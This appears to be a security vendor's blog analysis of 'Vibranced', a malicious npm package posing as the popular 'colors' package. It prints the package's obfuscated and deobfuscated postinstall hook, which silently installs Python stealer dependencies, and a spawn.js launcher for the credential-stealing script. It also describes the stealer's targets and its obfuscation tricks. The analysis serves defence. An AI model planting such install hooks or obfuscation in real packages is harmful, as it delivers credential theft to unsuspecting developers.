Table of contents

Deceptive ‘Vibranced’ npm Package Discovered Masquerading as Popular ‘Colors’ Package

Over 100 Malicious Pkgs Target Popular ML Pypi Libraries

Table of contents

A new malicious package has been detected on the Node Package Manager (npm) repository that poses a significant threat to users who may unknowingly install it. Named ‘Vibranced,’ the package has been carefully crafted to mimic the popular ‘colors’ package, which has over 20 million weekly downloads. In this blog post, we will delve into the details of this new threat and explore the various stages of its execution, as well as the obfuscation techniques used to avoid detection.

Initial strategy 

The owner of the ‘Vibranced’ package released 13 versions and subsequently yanked them before uploading the last two stable versions (1.8.1,1.8.2). The first stable version contained the malicious code in plain text, making it easily detectable. However, the second version incorporated a new obfuscation technique that makes it more challenging for security tools to identify the harmful code. A fresh GitHub account was created on April 16th, but it does not include the final malicious version of the package. This tactic allows the owner to maintain a semblance of legitimacy while still distributing harmful code.

Deceptive ‘Vibranced’ npm Package Discovered Masquerading as Popular ‘Colors’ Package - 4CgzJLPbLsWSGG2AC9kuoVf5uZRrjYjJEp0bhDsD1YExrsHFuiXn5oCqTlsc1ZHYTGkKoFl4YY9gu

Figure 1: A fresh github account was created on April 16

Three-stage execution

The malicious code within the ‘Vibranced’ package is executed in three stages:

1. Post-install hook. The first stage involves the installation of all the required Python dependencies for the code using an obfuscated postinstall.js file.

function _0x604c() {
    const _0x4c592f = ['5498TxZiXl', '179479MGqOQw', '305756vxYxcE', '95gEoJnM', '54153uGOMLr', 'Could not find a valid Python installation!', '276YeRFWw', 'Make sure you have Python installed and try again!', '322432dUirmE', '416994LcjLAP', '7PlfzsI', 'python3 -m pip install requests pycryptodome discord.py pypiwin32 wmi psutil', '130lACcMB', 'python -m pip install requests pycryptodome discord.py pypiwin32 wmi psutil', '255oUWily', '1784BoxVPL', 'child_process', 'then', 'error'];
    _0x604c = function() {
        return _0x4c592f;
    };
    return _0x604c();
}

function _0x10e0(_0x2f98ce, _0x29d354) {
    const _0x604c65 = _0x604c();
    return _0x10e0 = function(_0x10e012, _0x2d9dd0) {
        _0x10e012 = _0x10e012 - 0x12f;
        let _0x591432 = _0x604c65[_0x10e012];
        return _0x591432;
    }, _0x10e0(_0x2f98ce, _0x29d354);
}
const _0x5519b6 = _0x10e0;
(function(_0x149479, _0x25febd) {
    const _0x43cba6 = _0x10e0,
        _0x419d45 = _0x149479();
    while (!![]) {
        try {
            const _0x237493 = -parseInt(_0x43cba6(0x137)) / 0x1 + -parseInt(_0x43cba6(0x136)) / 0x2 * (parseInt(_0x43cba6(0x131)) / 0x3) + -parseInt(_0x43cba6(0x132)) / 0x4 * (-parseInt(_0x43cba6(0x139)) / 0x5) + parseInt(_0x43cba6(0x13f)) / 0x6 * (-parseInt(_0x43cba6(0x140)) / 0x7) + parseInt(_0x43cba6(0x13e)) / 0x8 + -parseInt(_0x43cba6(0x13a)) / 0x9 * (parseInt(_0x43cba6(0x12f)) / 0xa) + -parseInt(_0x43cba6(0x138)) / 0xb * (-parseInt(_0x43cba6(0x13c)) / 0xc);
            if (_0x237493 === _0x25febd) break;
            else _0x419d45['push'](_0x419d45['shift']());
        } catch (_0x944991) {
            _0x419d45['push'](_0x419d45['shift']());
        }
    }
}(_0x604c, 0x1f0f6));
const {
    exec
} = require(_0x5519b6(0x133));
let errors = 0x0;
const main = async () => {
    const _0x378884 = _0x5519b6;
    exec(_0x378884(0x141), (_0x5a116b, _0x54e490, _0x2c4197) => {
        if (_0x5a116b) {
            errors++;
            return;
        }
    }), exec('py -m pip install requests pycryptodome discord.py pypiwin32 wmi psutil', (_0x52da38, _0x46ac2b, _0x2aeb23) => {
        if (_0x52da38) {
            errors++;
            return;
        }
    }), exec(_0x378884(0x130), (_0x47b27e, _0x5c7c40, _0x420096) => {
        if (_0x47b27e) {
            errors++;
            return;
        }
    }), await new Promise(_0x214af6 => setTimeout(_0x214af6, 0x2 * 0x3e8)), errors >= 0x3 && (console[_0x378884(0x135)](_0x378884(0x13b)), console['error'](_0x378884(0x13d)));
};
main()[_0x5519b6(0x134)]();

Figure 2: Obfuscated postinstall.js file

const { exec } = require('child_process')
let errors = 0
const main = async () => {
  exec(
    'python3 -m pip install requests pycryptodome discord.py pypiwin32 wmi psutil',
    (_0x5a116b, _0x54e490, _0x2c4197) => {
      if (_0x5a116b) {
        errors++
        return
      }
    }
  )
  exec(
    'py -m pip install requests pycryptodome discord.py pypiwin32 wmi psutil',
    (_0x52da38, _0x46ac2b, _0x2aeb23) => {
      if (_0x52da38) {
        errors++
        return
      }
    }
  )
  exec(
    'python -m pip install requests pycryptodome discord.py pypiwin32 wmi psutil',
    (_0x47b27e, _0x5c7c40, _0x420096) => {
      if (_0x47b27e) {
        errors++
        return
      }
    }
  )
  await new Promise((_0x214af6) => setTimeout(_0x214af6, 2000))
  errors >= 3 &&
    (console.error('Could not find a valid Python installation!'),
    console.error('Make sure you have Python installed and try again!'))
}
main().then()

Figure 3: Deobfuscated postinstall.js file

2. Running the spawn.js file. The second stage executes the spawn.js file, which in turn runs the styles.py file according to the user’s Python usage.

const { spawn } = require("node:child_process");
const fs = require("node:fs");

const spawnPython = () => {
    try {
        spawn("python", [`${__dirname}/styles.py`])
    } catch (e) {console.error(e)}

    try {
        spawn("py", [`${__dirname}/styles.py`])
    } catch (e) {console.error(e)}

    try {
        spawn("python3", [`${__dirname}/styles.py`])
    } catch (e) {console.error(e)}
}

spawnPython()

Figure 4: Spawn.js file that tries to execute styles.py file according to the user’s Python usage

3. The actual malicious code. The third and final stage is where the real damage occurs. The code steals sensitive user information such as credit card details, browser information, Discord tokens, and so on.

Obfuscation techniques

Deceptive ‘Vibranced’ npm Package Discovered Masquerading as Popular ‘Colors’ Package - nkJCNUJMF6qe7KzPbnfvfRUqj4lGdOgqYivjwMEqpKXNRCuZkAzlSz1HLvTxa 616

Figure 5: A first glance look at the syles.py

Deceptive ‘Vibranced’ npm Package Discovered Masquerading as Popular ‘Colors’ Package - kU3okHkizybdaUNvI5PrT6WTm9MFjdV2I 2hY1n6Zu9AlVA9YJf1oNjvdgo37H13AWjG6HcW5kp7AZebRHVoE5143QAxKRGSJD8yzp3qjv1u3rd

Figure 6: Careful inspection reveals garbage variables set to a hexadecimal string and concatenated

To avoid detection, the package owner employed a new obfuscation technique that involves hiding a long base64 string inside a garbage-named variable. This variable is set to hexadecimal strings and concatenated to create one large encoded base64 string. This method makes it difficult for security tools to identify the malicious code within the package.

In addition, the styles.py file has been bloated with an excessive amount of code. This is another attempt to evade supply chain security tools that may analyze the package for potentially harmful content.

Masquerading as the ‘colors’ package

The ‘Vibranced’ package is designed to resemble the widely used “colors” package, which has more than 20 million weekly downloads. This tactic increases the likelihood that unsuspecting users will download and install the malicious package, believing it to be the legitimate ‘colors’ package.

Deceptive ‘Vibranced’ npm Package Discovered Masquerading as Popular ‘Colors’ Package - 9x56ymQ6CsEe0HO1PsH 2HFSyyfpZgtjyxK9nwXua iocyuIC21tS84KirW WPCMqykfSL8f w73OeQFslcXgGnD3NOkqmj33d1h956ytgEze kpPfnz3e ya5j6Q7ZKgr9qeyHoA3BVN7ZnKVegGgM

Figure 7: Original colors package

Deceptive ‘Vibranced’ npm Package Discovered Masquerading as Popular ‘Colors’ Package - 8W0wo6EdTmJOl5a1p5VRiOFzjz0sO2ZTOuhH0ymBQLDQk4zb8uHnHVToKk8EXDGSqRc2nwo7o6h8TN5wjMSFFQ NNmfc0mTKCZCcaCWvixc TNieeNxpxq76kSAhiEm0WRS thwp1fOZX602fW pnYs

Figure 8: Masqueraded ‘vibranced’ package

Conclusion

The discovery of the “Vibranced’ package serves as a reminder of the ever-evolving threats present in the world of software development. Developers must be vigilant when installing packages from the npm repository and always verify the authenticity of a package before using it.

To protect yourself from such threats, always perform a thorough code review, use security tools to scan for vulnerabilities, and stay informed about the latest developments in software security. By staying aware and proactive, developers can safeguard their projects and users from malicious packages like ‘Vibranced.’

Manage open source risk

Recent resources

Deceptive ‘Vibranced’ npm Package Discovered Masquerading as Popular ‘Colors’ Package - Blog cover Mend Main Blues 1

NPM Ecosystem Under Siege: Self-Propagating Malware Compromises 187 Packages in a Huge Supply Chain Attack

A major NPM breach exposed 187 packages.

Read more
Deceptive ‘Vibranced’ npm Package Discovered Masquerading as Popular ‘Colors’ Package - npm supply chain attack blog

NPM Supply Chain Attack: Sophisticated Multi-Chain Cryptocurrency Drainer Infiltrates Popular Packages

A sophisticated npm supply chain attack compromised popular packages

Read more
Deceptive ‘Vibranced’ npm Package Discovered Masquerading as Popular ‘Colors’ Package - truffelvscode blog post

Fake VS Code Extension on npm Spreads Multi-Stage Malware

Learn about a fake VS-code extension on npm—truffelvscode—typosquatting the popular truffle for VS-code extension.

Read more